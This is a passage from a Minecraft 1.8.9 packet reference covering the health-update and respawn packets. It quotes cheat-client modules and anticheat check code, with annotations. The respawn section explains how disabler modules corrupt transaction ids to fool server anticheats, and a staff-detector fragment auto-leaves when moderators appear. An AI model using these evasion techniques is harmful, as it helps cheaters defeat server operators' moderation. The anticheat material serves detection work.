(Arrays.asList(staff).contains(player.getProfile().getName().toLowerCase())) {\n//                    ChatUtil.display(\"Staff Detected \" + player.getProfile().getName());\n//\n//                    if (autoLeave.getValue()) PacketUtil.send(new C01PacketChatMessage(\"/hub\"));\n//                }\n//            }\n//        }\n\n//        if (packet instanceof S) {\n//            S06PacketUpdateHealth health = ((S06PacketUpdateHealth) packet);\n//\n//        }\n    };\n}\n\n// NOTE (AI): The S06PacketUpdateHealth branch is entirely commented out in both Rise\n// 6.1.30 and 6.2.4; the fragment '// if (packet instanceof S) {' even retains a placeholder\n// class name. Live logic matches S3EPacketTeams and S38PacketPlayerListItem against a\n// hardcoded staff name list, with a count of 6 triggering the auto-leave /hub via C01.\n// The commented block is included because it is the only S06 reference in the Rise\n// codebase and documents an abandoned health-based staff heuristic.\n",
      "code_source": "Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/module/impl/exploit/StaffDetector.java",
      "vanilla_hook": "PacketReceiveEvent (plus PreMotionEvent to decay the match counter).",
      "anti_cheat_notes": "None: the module consumes clientbound packets and sends ordinary chat. The hardcoded staff list is a maintenance liability, not a flag.",
      "variations": "Rise 6.1.30 ships the same file with the same commented S06 block; the 6.2.4 copy is identical in the relevant region. Neither build ever enabled the health branch."
     }
    ],
    "general_hooks": "Sigma uses EventPacket with instanceof dispatch; Rise uses PacketReceiveEvent listeners. Both only read S06; no serverbound traffic is generated by S06 handling in either module.",
    "client_variations": "Sigma's event model is a single registered onEvent switch over EventAttack/EventPacket/EventUpdate; Rise uses per-listener @EventLink fields. Both treat S06 as pure input, which keeps the cross-client story simple.",
    "related": [
     "S0BPacketAnimation",
     "S18PacketEntityTeleport",
     "S02PacketChat",
     "C16PacketClientStatus"
    ],
    "anticheat": {
     "overview": "The update-health packet is server-authored, so anticheats cannot see a client-spoofed health value; what they can see is the server's own health bookkeeping around it. Modern anticheats parse WrapperPlayServerUpdateHealth on the send side to track death and food state (Grim, BetterAnticheat), while regen and god-mode checks watch EntityRegainHealthEvent and damage events to catch fast-heal and damage suppression (Negativity, Arc, NoCheatPlus, Daedalus, ThotPatrol, MIU). The packet itself is never flagged; it is the reference clock for health-related checks.",
     "checks": [
      {
       "name": "UpdateHealth death tracking (BetterAnticheat)",
       "found_in": [
        "amnoah-BetterAnticheat"
       ],
       "purpose": "Track the client-visible death state from the update-health payload and the client's own respawn acknowledgement.",
       "how_it_works": "PlayerStatusTracker.handlePacketPlaySend wraps UPDATE_HEALTH as WrapperPlayServerUpdateHealth and, inside a confirmation transaction, pushes isDead = (health == 0) into a ten-slot BooleanManyState that flushes only after the client confirms the packet. The receive side mirrors it: a CLIENT_STATUS PERFORM_RESPAWN pushes isDead = false and flushes four slots at once, deliberately wiping stale death states to defeat disablers that delay selected responses.",
       "detects": "Death-state desync: a client that selectively delays packet responses to hide its own death or respawn timing from the anticheat.",
       "detailed_code": "// ===== FILE: amnoah-BetterAnticheat, core/src/main/java/better/anticheat/core/player/tracker/impl/PlayerStatusTracker.java =====\npackage better.anticheat.core.player.tracker.impl;\n\nimport better.anticheat.core.player.Player;\nimport better.anticheat.core.player.tracker.Tracker;\nimport better.anticheat.core.player.tracker.impl.confirmation.ConfirmationTracker;\nimport com.github.retrooper.packetevents.event.simple.PacketPlayReceiveEvent;\nimport com.github.retrooper.packetevents.event.simple.PacketPlaySendEvent;\nimport com.github.retrooper.packetevents.protocol.attribute.Attribute;\nimport com.github.retrooper.packetevents.protocol.attribute.Attributes;\nimport com.github.retrooper.packetevents.protocol.packettype.PacketType;\nimport com.github.retrooper.packetevents.wrapper.play.client.WrapperPlayClientClientStatus;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerUpdateAttributes;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerUpdateHealth;\nimport lombok.Getter;\nimport lombok.extern.slf4j.Slf4j;\nimport wtf.spare.sparej.xstate.manystate.BooleanManyState;\nimport wtf.spare.sparej.xstate.manystate.DoubleManyState;\n\nimport java.util.HashMap;\nimport java.util.Map;\nimport java.util.Objects;\n\n@Getter\n@Slf4j\npublic class PlayerStatusTracker extends Tracker {\n    private final BooleanManyState isDead = new BooleanManyState(10);\n    private final ConfirmationTracker confirmationTracker;\n    private final Map<Attribute, DoubleManyState> attributes = new HashMap<>();\n\n    public PlayerStatusTracker(final Player player, final ConfirmationTracker confirmationTracker) {\n        super(player);\n        this.confirmationTracker = confirmationTracker;\n\n        // Default attribute values.\n        final var entityInteractionRange = attributes.computeIfAbsent(Attributes.ENTITY_INTERACTION_RANGE, (ignored) -> new DoubleManyState(10));\n        final var blockInteractionRange = attributes.computeIfAbsent(Attributes.BLOCK_INTERACTION_RANGE, (ignored) -> new DoubleManyState(10));\n        final var scale = attributes.computeIfAbsent(Attributes.SCALE, (ignored) -> new DoubleManyState(10));\n\n        entityInteractionRange.addNew(3.0);\n        blockInteractionRange.addNew(5.0);\n        scale.addNew(1.0);\n\n        /*\n        entityInteractionRange.flushOld();\n        blockInteractionRange.flushOld();\n        scale.flushOld();\n         */\n    }\n\n    /*\n     * Packet handling.\n     */\n\n    @Override\n    public void handlePacketPlaySend(final PacketPlaySendEvent event) {\n        switch (event.getPacketType()) {\n            case PacketType.Play.Server.UPDATE_HEALTH -> {\n                final var wrapper = new WrapperPlayServerUpdateHealth(event);\n\n                confirmationTracker\n                        .confirm()\n                        .onBegin(() -> {\n                            isDead.addNew(wrapper.getHealth() == 0);\n                            log.debug(\"added to {} due to health\", wrapper.getHealth() == 0);\n                        })\n                        .onAfterConfirm(() -> {\n                            isDead.flushOld();\n                            log.debug(\"flushed to {} due to health\", wrapper.getHealth() == 0);\n                        });\n            }\n\n            case DEATH_COMBAT_EVENT -> confirmationTracker\n                    .confirm()\n                    .onBegin(() -> {\n                        isDead.addNew(true);\n                        log.debug(\"added to true due to death\");\n                    })\n                    .onAfterConfirm(() -> {\n                        isDead.flushOld();\n                        log.debug(\"flushed to true due to death\");\n                    });\n\n            case UPDATE_ATTRIBUTES -> {\n                final var wrapper = new WrapperPlayServerUpdateAttributes(event);\n                if (wrapper.getEntityId() != player.getUser().getEntityId()) return;\n\n                final var confirmationState = confirmationTracker.confirm();\n\n                for (final var property : wrapper.getProperties()) {\n                    confirmationState.onBegin(() -> {\n                        final var state = attributes.computeIfAbsent(property.getAttribute(), k -> new DoubleManyState(10));\n                        state.addNew(property.getValue());\n                        log.debug(\"added to {} due to {}\", property.getValue(), property.getAttribute());\n                    }).onAfterConfirm(() -> {\n                        final var state = attributes.get(property.getAttribute());\n                        if (state != null) {\n                            state.flushOld();\n                            log.debug(\"flushed to {} due to {}\", property.getValue(), property.getAttribute());\n                        }\n                    });\n                }\n            }\n        }\n    }\n\n    public double[] getMostLikelyPoses() {\n        if (!attributes.containsKey(Attributes.SCALE)) log.error(\"No scale attribute, attrs: {}\", attributes);\n        final var scale = attributes.get(Attributes.SCALE).getCurrent();\n\n        // Standing, sneaking then Elytra\n        return new double[]{1.62 * scale, 1.27 * scale, 0.4 * scale};\n    }\n\n    public void handlePacketPlayReceive(final PacketPlayReceiveEvent event) {\n        switch (event.getPacketType()) {\n            case CLIENT_STATUS -> {\n                final var wrapper = new WrapperPlayClientClientStatus(event);\n\n                if (Objects.requireNonNull(wrapper.getAction()) == WrapperPlayClientClientStatus.Action.PERFORM_RESPAWN) {\n                    isDead.addNew(false);\n                    // Once client says alive, flush ALL the deads, as client state is all that matters.\n                    // This is done to prevent disabler exploits where you selectively delay the response to certain packets.\n                    for (int i = 0; i < 4; i++) {\n                        isDead.flushOld();\n                    }\n                    log.debug(\"added and flushed to false due to respawn\");\n                }\n            }\n        }\n    }\n}\n\n// NOTE (AI): The update-health branch is lines 57-70. The isDead many-state is also fed by the DEATH_COMBAT_EVENT branch (72-81), and the PERFORM_RESPAWN flush (116-128) is the client-side half of the death cycle.\n",
       "code_source": "amnoah-BetterAnticheat, core/src/main/java/better/anticheat/core/player/tracker/impl/PlayerStatusTracker.java",
       "variations": "Grim does the same tracking in PacketPlayerRespawn: it stores lastHealth, lastFood and lastSaturation, marks the simulated self entity dead when health reaches zero and feeds BadPacketsM.onDeath; Artemis mirrors health into its emulator through BntityPlayerSP.setPlayerSPHealth."
      },
      {
       "name": "Regen (Negativity)",
       "found_in": [
        "Elikill58-Negativity"
       ],
       "purpose": "Flag fast regeneration: health regaining faster than the version's natural regen interval allows.",
       "how_it_works": "RegenProtocol.onRegen listens to EntityRegainHealthEvent for players. It skips players with active regen-affecting potions, records the time between regains and flags when the gap is below the version's timeBetweenTwoRegen plus ping (per-version table in Version). A gap under 50 ms plus ping is a hard violation, and the event is cancelled when setbacks are enabled. The protocol also tags the player's flying reason on golden-apple interactions so movement checks can discount regen-based vertical motion.",
       "detects": "Auto-regen modules and fast-heal packets that produce health regains faster than the per-version interval tables permit.",
       "detailed_code": "// ===== FILE: Elikill58-Negativity, src/com/elikill58/negativity/spigot/protocols/RegenProtocol.java =====\npackage com.elikill58.negativity.spigot.protocols;\n\nimport org.bukkit.Difficulty;\nimport org.bukkit.Material;\nimport org.bukkit.entity.Player;\nimport org.bukkit.event.EventHandler;\nimport org.bukkit.event.Listener;\nimport org.bukkit.event.entity.EntityRegainHealthEvent;\nimport org.bukkit.event.player.PlayerInteractEvent;\nimport org.bukkit.potion.PotionEffect;\nimport org.bukkit.potion.PotionEffectType;\n\nimport com.elikill58.negativity.spigot.SpigotNegativity;\nimport com.elikill58.negativity.spigot.SpigotNegativityPlayer;\nimport com.elikill58.negativity.universal.Cheat;\nimport com.elikill58.negativity.universal.CheatKeys;\nimport com.elikill58.negativity.universal.FlyingReason;\nimport com.elikill58.negativity.universal.ReportType;\nimport com.elikill58.negativity.universal.Version;\nimport com.elikill58.negativity.universal.utils.UniversalUtils;\n\npublic class RegenProtocol extends Cheat implements Listener {\n\t\n\tpublic RegenProtocol() {\n\t\tsuper(CheatKeys.REGEN, true, Material.GOLDEN_APPLE, CheatCategory.PLAYER, true, \"regen\", \"autoregen\");\n\t}\n\n\t@EventHandler\n\tpublic void onPlayerInteract(PlayerInteractEvent e) {\n\t\tPlayer p = e.getPlayer();\n\t\tif(e.getItem() == null)\n\t\t\treturn;\n\t\tMaterial m = e.getItem().getType();\n\t\tif (m.equals(Material.GOLDEN_APPLE) || m.equals(Material.GOLDEN_CARROT))\n\t\t\tSpigotNegativityPlayer.getNegativityPlayer(p).flyingReason = FlyingReason.REGEN;\n\t}\n\n\t@EventHandler\n\tpublic void onRegen(EntityRegainHealthEvent e) {\n\t\tif (!(e.getEntity() instanceof Player))\n\t\t\treturn;\n\t\tPlayer p = (Player) e.getEntity();\n\t\tSpigotNegativityPlayer np = SpigotNegativityPlayer.getNegativityPlayer(p);\n\t\tboolean hasPotion = false;\n\t\tfor (PotionEffect pe : p.getActivePotionEffects())\n\t\t\tif (pe.getType().equals(PotionEffectType.POISON) || pe.getType().equals(PotionEffectType.BLINDNESS)\n\t\t\t\t\t|| pe.getType().equals(PotionEffectType.WITHER)\n\t\t\t\t\t|| pe.getType().equals(PotionEffectType.SLOW_DIGGING)\n\t\t\t\t\t|| pe.getType().equals(PotionEffectType.WEAKNESS) || pe.getType().equals(PotionEffectType.CONFUSION)\n\t\t\t\t\t|| pe.getType().equals(PotionEffectType.HUNGER))\n\t\t\t\thasPotion = true;\n\t\tif (hasPotion)\n\t\t\tnp.flyingReason = FlyingReason.POTION;\n\t\telse\n\t\t\tnp.flyingReason = FlyingReason.REGEN;\n\t\tlong actual = System.currentTimeMillis(), dif = actual - np.LAST_REGEN;\n\t\tif (np.LAST_REGEN != 0 && !p.hasPotionEffect(PotionEffectType.REGENERATION) && !p.hasPotionEffect(PotionEffectType.HEAL) && np.hasDetectionActive(this)\n\t\t\t\t&& (np.LAST_REGEN != System.currentTimeMillis() && Version.getVersion().isNewerOrEquals(Version.V1_14))\n\t\t\t\t&& !p.getWorld().getDifficulty().equals(Difficulty.PEACEFUL)) {\n\t\t\tint ping = np.ping;\n\t\t\tif (dif < (Version.getVersion().getTimeBetweenTwoRegenFromVersion() + ping)) {\n\t\t\t\tboolean mayCancel = SpigotNegativity.alertMod(dif < (50 + ping) ? ReportType.VIOLATION : ReportType.WARNING, p, this,\n\t\t\t\t\t\tUniversalUtils.parseInPorcent(200 - dif - ping), \"Player regen, last regen: \" + np.LAST_REGEN\n\t\t\t\t\t\t\t\t\t+ \" Actual time: \" + actual + \" Difference: \" + dif + \"ms\",\n\t\t\t\t\t\t\t\t\thoverMsg(\"main\", \"%time%\", dif));\n\t\t\t\tif(isSetBack() && mayCancel)\n\t\t\t\t\te.setCancelled(true);\n\t\t\t}\n\t\t}\n\t\tnp.LAST_REGEN = actual;\n\t}\n}\n\n// NOTE (AI): The regen window math is on lines 56-70; Version.getTimeBetweenTwoRegenFromVersion() is the per-version baseline (4 seconds at 1.8). The check keys off the Bukkit event, not the S06 packet, because the packet is server-authored.\n",
       "code_source": "Elikill58-Negativity, src/com/elikill58/negativity/spigot/protocols/RegenProtocol.java",
       "variations": "Arc-v2 Regeneration compares the last health event against a configurable regen-time (3400 ms default); Daedalus Regen and ThotPatrol BadPacketsA use the same SATIATED-reason timing pattern; MIU FastHealA computes the expected interval from the player's health level and regen potion stage."
      },
      {
       "name": "Regeneration (Arc v2)",
       "found_in": [
        "Vrekt-Arc-v2"
       ],
       "purpose": "Classic satiated-regen rate check: health must not regenerate faster than the configured interval.",
       "how_it_works": "FightListener.onRegen records the SATIATED regain timestamp into FightData when the check can run; Regeneration.check computes now minus lastHealthEvent and fails when the gap is below the regen-time value read from the check config (3400 ms default). It is one of the smallest checks in the corpus: a timestamp, a subtraction and a threshold.",
       "detects": "Fast-regen modules that exploit the satiated regeneration mechanic.",
       "detailed_code": "// ===== FILE: Vrekt-Arc-v2, src/main/java/me/vrekt/arc/check/combat/Regeneration.java =====\npackage me.vrekt.arc.check.combat;\n\nimport me.vrekt.arc.Arc;\nimport me.vrekt.arc.check.Check;\nimport me.vrekt.arc.check.CheckType;\nimport me.vrekt.arc.data.combat.FightData;\nimport org.bukkit.entity.Player;\n\npublic class Regeneration extends Check {\n    private long regenerationTime = 0;\n\n    public Regeneration() {\n        super(CheckType.REGENERATION);\n\n        regenerationTime = (long) Arc.getCheckManager().getValueInt(CheckType.REGENERATION, \"regen-time\");\n    }\n\n    public boolean check(Player player, FightData data) {\n        if (data.getLastHealthEvent() == 0) {\n            return false;\n        }\n\n        // time = 3400\n        long now = System.currentTimeMillis();\n        long past = data.getLastHealthEvent();\n        long timeSince = now - past;\n\n        // check if the time it took to regenerate is lower than allowed.\n        return timeSince < regenerationTime && checkViolation(player, \"regeneration time too fast.\");\n    }\n\n}\n\n// NOTE (AI): The corpus hit is the SATIATED-only timing pattern: FightListener.onRegen only stamps data.setLastHealthEvent when the regain reason is SATIATED, which is exactly the condition this check reads.\n",
       "code_source": "Vrekt-Arc-v2, src/main/java/me/vrekt/arc/check/combat/Regeneration.java",
       "variations": "Negativity RegenProtocol adds per-version tables and potion exemptions; Daedalus Regen and ThotPatrol BadPacketsA count packets between regains; NoCheatPlus tracks regainHealthTime in FightData and feeds it into GodMode's expectation model."
      },
      {
       "name": "GodMode (NoCheatPlus)",
       "found_in": [
        "Updated-NoCheatPlus-NoCheatPlus"
       ],
       "purpose": "Detect players that ignore inflicted damage or keep an impossible health ceiling across regen and damage events.",
       "how_it_works": "GodMode.check runs on damage events against FightData bookkeeping: regainHealthTime is stamped by FightListener.onEntityRegainHealth, godModeHealth tracks the highest health the player has held, and the check flags when current health stays above the expected post-damage value or when no damage lands despite a hit. The regain-tracking variant is what the corpus shows; the original 2012-era sensitivity path is marked as likely obsolete in the source.",
       "detects": "God-mode exploits, damage suppression and health-ceiling manipulation around combat.",
       "detailed_code": "// ===== FILE: Updated-NoCheatPlus-NoCheatPlus, NCPCore/src/main/java/fr/neatmonster/nocheatplus/checks/fight/GodMode.java =====\n/*\n * This program is free software: you can redistribute it and/or modify\n *   it under the terms of the GNU General Public License as published by\n *   the Free Software Foundation, either version 3 of the License, or\n *   (at your option) any later version.\n *\n *   This program is distributed in the hope that it will be useful,\n *   but WITHOUT ANY WARRANTY; without even the implied warranty of\n *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n *   GNU General Public License for more details.\n *\n *   You should have received a copy of the GNU General Public License\n *   along with this program.  If not, see <http://www.gnu.org/licenses/>.\n */\npackage fr.neatmonster.nocheatplus.checks.fight;\n\nimport org.bukkit.Bukkit;\nimport org.bukkit.entity.Player;\n\nimport fr.neatmonster.nocheatplus.NCPAPIProvider;\nimport fr.neatmonster.nocheatplus.checks.Check;\nimport fr.neatmonster.nocheatplus.checks.CheckType;\nimport fr.neatmonster.nocheatplus.checks.net.NetData;\nimport fr.neatmonster.nocheatplus.compat.bukkit.BridgeHealth;\nimport fr.neatmonster.nocheatplus.compat.IBridgeCrossPlugin;\nimport fr.neatmonster.nocheatplus.compat.SchedulerHelper;\nimport fr.neatmonster.nocheatplus.components.registry.event.IGenericInstanceHandle;\nimport fr.neatmonster.nocheatplus.players.IPlayerData;\nimport fr.neatmonster.nocheatplus.utilities.CheckUtils;\nimport fr.neatmonster.nocheatplus.utilities.TickTask;\n\n/**\n * The GodMode check will find out if a player tried to stay invulnerable after being hit or after dying.\n */\npublic class GodMode extends Check {\n\n    private final IGenericInstanceHandle<IBridgeCrossPlugin> crossPlugin = NCPAPIProvider.getNoCheatPlusAPI().getGenericInstanceHandle(IBridgeCrossPlugin.class);\n\n    /**\n     * Instantiates a new god mode check.\n     */\n    public GodMode() {\n        super(CheckType.FIGHT_GODMODE);\n    }\n\n    /**\n     * \"New\" style god mode check. Much more sensitive.\n     * Likely irrelevant check by now. Subject to removal.<br>\n     * Dates back to 2012 when god-mode exploits used to be quite common.\n     * Nowadays, such cheats are exceptionally rare and usually the result of a conflict of some sort with plugins, rather than a vanilla bug.\n     * \n     * @param player\n     * @param playerIsFake\n     * @param damage\n     * @param data\n     * @param pData\n     * @return True if to \"cancel\", to be interpreted as \"cancel their invulnerability\", thus inflicting/enforcing damage.\n     */\n    public boolean check(final Player player, final boolean playerIsFake, final double damage, final FightData data, final IPlayerData pData) {\n\n        // TODO: In fact, this check is ineffective in general. Usually, GodMode cheats and the like don't even fire EntityDamageByEntity events\n        //       so this check wouldn't even have the chance to pick up the cheat.\n        final int tick = TickTask.getTick();\n        final int noDamageTicks = Math.max(0, player.getNoDamageTicks());\n        final int invulnerabilityTicks = playerIsFake ? 0 : mcAccess.getHandle().getInvulnerableTicks(player);\n        /** Return, reduce VL */\n        boolean legit = false; \n        /** Set tick/ndt and return */\n        boolean set = false;\n        /** Reset accumulator counter */\n        boolean resetAcc = false; \n        /** Reset all and return */\n        boolean resetAll = false;\n        /** Check difference to expectation */\n        final int dTick = tick - data.lastDamageTick;\n        /** Check difference to expectation */\n        final int dNDT = data.lastNoDamageTicks - noDamageTicks;\n        final int delta = dTick - dNDT;\n        final double health = BridgeHealth.getHealth(player);\n\n        if (data.godModeHealth > health) {\n            data.godModeHealthDecreaseTick = tick;\n            legit = set = resetAcc = true;\n        }\n\n        // TODO: Might account for ndt/2 on regain health (!).\n        // Invulnerable or inconsistent.\n        // TODO: might check as well if NCP has taken over invulnerable ticks of this player.\n        if (invulnerabilityTicks != Integer.MAX_VALUE && invulnerabilityTicks > 0 \n            || tick < data.lastDamageTick) {\n            // (Second criteria is for MCAccessBukkit.)\n            legit = set = resetAcc = true;\n        }\n\n        // Reset accumulator.\n        if (20 + data.godModeAcc < dTick || dTick > 40) {\n            legit = resetAcc = set = true;\n        }\n\n        // Check if reduced more than expected or new/count down fully.\n        // TODO: Mostly workarounds.\n        if (delta <= 0  || data.lastNoDamageTicks <= player.getMaximumNoDamageTicks() / 2 \n            || dTick > data.lastNoDamageTicks \n            || damage > BridgeHealth.getLastDamage(player)\n            || damage == 0.0) {\n            // Not resetting acc.\n            legit = set = true;\n        }\n        if (dTick == 1 && noDamageTicks < 19) {\n            set = true;\n        }\n        if (delta == 1) {\n            // Ignore these, but keep reference value from before.\n            legit = true;\n        }\n\n        // Bukkit.getServer().broadcastMessage(\"God \" + player.getName() + \" delta=\" + delta + \" dt=\" + dTick + \" dndt=\" + dNDT + \" acc=\" + data.godModeAcc + \" d=\" + damage + \" ndt=\" + noDamageTicks + \" h=\" + health + \" slag=\" + TickTask.getLag(dTick, true));\n        // TODO: might check last damage taken as well (really taken with health change)\n        // Resetting\n        data.godModeHealth = health;\n        if (resetAcc || resetAll) {\n            data.godModeAcc = 0;\n        }\n        \n        // Reset all.\n        if (resetAll) {\n            data.lastNoDamageTicks = 0;\n            data.lastDamageTick = 0;\n            return false;\n        }\n        // Only set the tick values.\n        if (set) {\n            data.lastNoDamageTicks = noDamageTicks;\n            data.lastDamageTick = tick;\n            return false;\n        }\n        // Decrease VL and return\n        if (legit) {\n            data.godModeVL *= 0.97;\n            return false;\n        }\n\n        if (tick < data.godModeHealthDecreaseTick){\n            data.godModeHealthDecreaseTick = 0;\n        }\n        else {\n            final int dht = tick - data.godModeHealthDecreaseTick;\n            if (dht <= 20) {\n                return false; \n            }\n        }\n\n        final FightConfig cc = pData.getGenericInstance(FightConfig.class); \n        // Check for client side lag.\n        final long now = System.currentTimeMillis();\n        final long maxAge = cc.godModeLagMaxAge;\n        long keepAlive = Long.MIN_VALUE;\n        if (NCPAPIProvider.getNoCheatPlusAPI().hasFeatureTag(\"checks\", \"KeepAliveFrequency\")) {\n            keepAlive = pData.getGenericInstance(NetData.class).lastKeepAliveTime;\n        }\n        keepAlive = Math.max(keepAlive, CheckUtils.guessKeepAliveTime(player, now, maxAge, pData));\n\n        if (keepAlive != Double.MIN_VALUE && now - keepAlive > cc.godModeLagMinAge && now - keepAlive < maxAge) {\n            // Assume lag.\n            return false;\n        }\n\n        // Violation probably.\n        data.godModeAcc += delta;\n        boolean cancel = false;\n        // TODO: bounds\n        if (data.godModeAcc > 2) {\n            data.godModeVL += delta;\n            cancel = executeActions(player, data.godModeVL, delta, pData.getGenericInstance(FightConfig.class).godModeActions).willCancel();\n        }\n        // Set tick values.\n        data.lastNoDamageTicks = noDamageTicks;\n        data.lastDamageTick = tick;\n        return cancel;\n    }\n\n    /**\n     * If a player apparently died, make sure they really die after some time if they didn't already, by setting up a\n     * Bukkit task.\n     * Again, most likely irrelevant check by now, but you can't be too sure with this game.\n     * \n     * @param player\n     *            the player\n     */\n    public void death(final Player player) {\n        // First check if the player is really dead (e.g. another plugin could have just fired an artificial event).\n        if (BridgeHealth.getHealth(player) <= 0.0 && player.isDead()\n            && crossPlugin.getHandle().isNativeEntity(player)) {\n            try {\n                // Schedule a task to be executed in roughly 1.5 seconds.\n                SchedulerHelper.runSyncDelayedTaskForEntity(player, Bukkit.getPluginManager().getPlugin(\"NoCheatPlus\"), (arg) -> {\n                    try {\n                        // Check again if the player should be dead, and if the game didn't mark them as dead.\n                        if (mcAccess.getHandle().shouldBeZombie(player)){\n                            // Artificially \"kill\" them.\n                            mcAccess.getHandle().setDead(player, 19);\n                        }\n                    } \n                    catch (final Exception ignored) {}\n                }, null, 30);\n            } \n            catch (final Exception ignored) {}\n        }\n    }\n}\n\n// NOTE (AI): The corpus hits for this file are BridgeHealth calls inside the regain pipeline: FightListener.onEntityRegainHealth (lines 831-844) maintains godModeHealth and regainHealthTime, which is the data this check consumes. The file itself never references S06.\n",
       "code_source": "Updated-NoCheatPlus-NoCheatPlus, NCPCore/src/main/java/fr/neatmonster/nocheatplus/checks/fight/GodMode.java",
       "variations": "Kauri HealthSpoof is the modern replacement pattern; MIU AntiDamageA compares post-damage health against the expected drop; Daedalus Regen watches only the regain rate."
      }
     ]
    }
   },
   "wiki_notes": [
    "Food saturation acts as a food overcharge so food values do not decrease while saturation is above zero.",
    "New or respawning players automatically get a saturation of 5.0, and eating food raises saturation as well as the food bar.",
    "MCP 1.8.9 S06PacketUpdateHealth implements Packet<INetHandlerPlayClient> dispatching to INetHandlerPlayClient.handleUpdateHealth; wire serde is readPacketData/writePacketData via readFloat, readVarIntFromBuffer.",
    "1.8.9 callers: EntityPlayerMP.onUpdateEntity sends new S06PacketUpdateHealth (line 403): https://github.com/Marcelektro/MavenMCP-1.8.9/blob/master/src/main/java/net/minecraft/entity/player/EntityPlayerMP.java"
   ],
   "url": "https://mc-packet-reference.netlify.app/1.8.9/packets/S06PacketUpdateHealth/",
   "mcp_path": "net/minecraft/network/play/server/S06PacketUpdateHealth.java",
   "group": "play-client",
   "logic_classes": [
    "EntityPlayerMP"
   ]
  },
  {
   "id": "S07PacketRespawn",
   "hex": "0x07",
   "dec": 7,
   "dir": "CLIENTBOUND",
   "state": "PLAY",
   "name": "Respawn",
   "desc": "Sends respawn or dimension change request. The client must reload the world (clear chunks, entities) and re-sync position.",
   "tags": [
    "player",
    "world",
    "respawn",
    "death",
    "dimension"
   ],
   "fields": [
    {
     "name": "dimensionId",
     "type": "int",
     "desc": "-1=nether, 0=overworld, 1=end"
    },
    {
     "name": "difficulty",
     "type": "unsigned byte",
     "desc": "Current server difficulty"
    },
    {
     "name": "gamemode",
     "type": "unsigned byte",
     "desc": "Current gamemode"
    },
    {
     "name": "worldType",
     "type": "String",
     "desc": "World type string"
    }
   ],
   "encoding": [
    [
     "Dimension",
     "int",
     "-1=nether, 0=overworld, 1=end"
    ],
    [
     "Difficulty",
     "unsigned byte",
     "0=peaceful, 1=easy, 2=normal, 3=hard"
    ],
    [
     "Gamemode",
     "unsigned byte",
     "0=survival, 1=creative, 2=adventure, 3=spectator"
    ],
    [
     "Level Type",
     "String",
     "World type"
    ]
   ],
   "mcp": [
    "NetHandlerPlayClient.handleRespawn()"
   ],
   "handler": "INetHandlerPlayClient",
   "notes": "After receiving this, the client resets chunk loading, clears all entities, sends C00PacketKeepAlive to re-sync, and sends a C03/C06 position packet. The packet is used both for death respawn (same dimension) and portal dimension changes (dimension changes).",
   "implementation": {
    "writeup": [
     {
      "h": "Role in the protocol",
      "p": "The respawn and dimension-change control. The server sends it on death respawn (ServerConfigurationManager line ~496), on portal dimension transfer (NetHandlerPlayServer line ~587, ServerConfigurationManager line ~473) and on gamemode changes; the payload is dimension id, difficulty, terrain type and gamemode. The client must treat it as a world-reload command: clear entities, rebuild chunk state, re-arm keepalive and re-sync position."
     },
     {
      "h": "Vanilla handling",
      "p": "handleRespawn branches on the dimension: an equal dimension is a soft reset that rebuilds the player entity in place, a different dimension triggers a full world load with chunks unloaded, entities cleared and the player respawned. PacketThreadUtil special-cases S07 so the reload runs on the main thread and pre-processes the world transition before ordinary packet handling resumes. Every module that buffers per-world state (blink queues, transaction lists, teleport buffers, freecam position) must flush on this packet or carry stale state across the boundary."
     },
     {
      "h": "Why clients touch it",
      "p": "The corpus reaction surface is exactly the flush pattern, and it lives in the disabler machinery. Rise 6.1.30 WatchdogDisabler clears its position, transaction and blink queues plus both stopwatches on S07; Rise 6.2.4 keeps only the import. UniversoCraftDisabler (both builds) uses S07 to arm a respawn-window transaction corruption. Tenacity 6.0 AdvancedDisablerModule carries a commented-out S07 import, evidence the reset was planned and disabled. No Freecam, AutoTool or inventory module hooks S07 in this corpus even though world reload visibly resets their state; those clients rely on vanilla world-load callbacks instead of the packet. LiquidSense Dev's MixinNetworkManager promotes S07 to a first-class EventRespawn: readpacket fires it right before the vanilla handler runs, giving every module a hookable world-reload signal."
     },
     {
      "h": "Exploit surface",
      "p": "The respawn window is the attack surface: after S07 the server re-arms the player's transaction stream, so replaying C0F uids from the previous world desynchronizes the server's bookkeeping. UniversoCraftDisabler weaponizes the window by overwriting C0F uids with Short.MIN_VALUE or Short.MAX_VALUE for the first 350 ticks after respawn, alternating on tick parity. Anti-cheats that key transaction continuity off confirm/transaction pairs are the target. S07 itself is server-authored and not client-spoofable in the vanilla protocol, so the client side is purely defensive: flush old state, then corrupt the new window."
     }
    ],
    "overview": "The world-reload command: death respawn, portal transfer and gamemode change all arrive as S07, and the client tears down and rebuilds world state in response. In this corpus the packet is consumed by disabler state machines (Rise WatchdogDisabler flush, UniversoCraftDisabler corruption window) and was planned-but-disabled in Tenacity's AdvancedDisablerModule. LiquidSense Dev turns the packet into a dedicated EventRespawn fired from its NetworkManager mixin.",
    "server_handling": "ServerConfigurationManager sends S07 on death respawn (line ~496) and on dimension transfer (line ~473), NetHandlerPlayServer sends it on its own dimension-change path (line ~587 in MCP builds), always with the player's current dimension, difficulty, terrain type and gamemode. After sending, the server waits for the client's position re-sync (C03/C06) before resuming normal tracking. The client never sends S07; the closest serverbound step is C16 PERFORM_RESPAWN from the death screen.",
    "protocol_notes": "Fields in order: int dimension, unsigned byte difficulty, unsigned byte gamemode, String level type. PacketThreadUtil pre-processes S07 in Rise 6.1.30/6.2.4 and Tenacity (lines ~31 and ~40 respectively), forcing the world transition onto the main thread ahead of queued packets. The dimension field is the branch key: equal dimension means soft reset, different dimension means full reload, and modules keying state resets on S07 catch both cases in one hook.",
    "anticheat_landscape": "Transaction-continuity anti-cheats (Watchdog, Verus) reset their per-player counters on respawn, which is why stale C0F uids replayed across the boundary flag. The UniversoCraft corruption window targets exactly this reset: uid values of Short.MIN_VALUE and Short.MAX_VALUE alternating on tick parity are chosen to break the server's expectation of monotonic actions without a visible cancel pattern. The flush side (WatchdogDisabler) is the defensive mirror and is invisible; the corruption side is the detectable one if the server validates uids.",
    "modules": [
     {
      "name": "WatchdogDisabler",
      "found_in": [
       "Rise 6.1.30",
       "Rise 6.2.4"
      ],
      "purpose": "Hypixel Watchdog disabler mode that uses S07 as the hard reset point for its buffered packet state.",
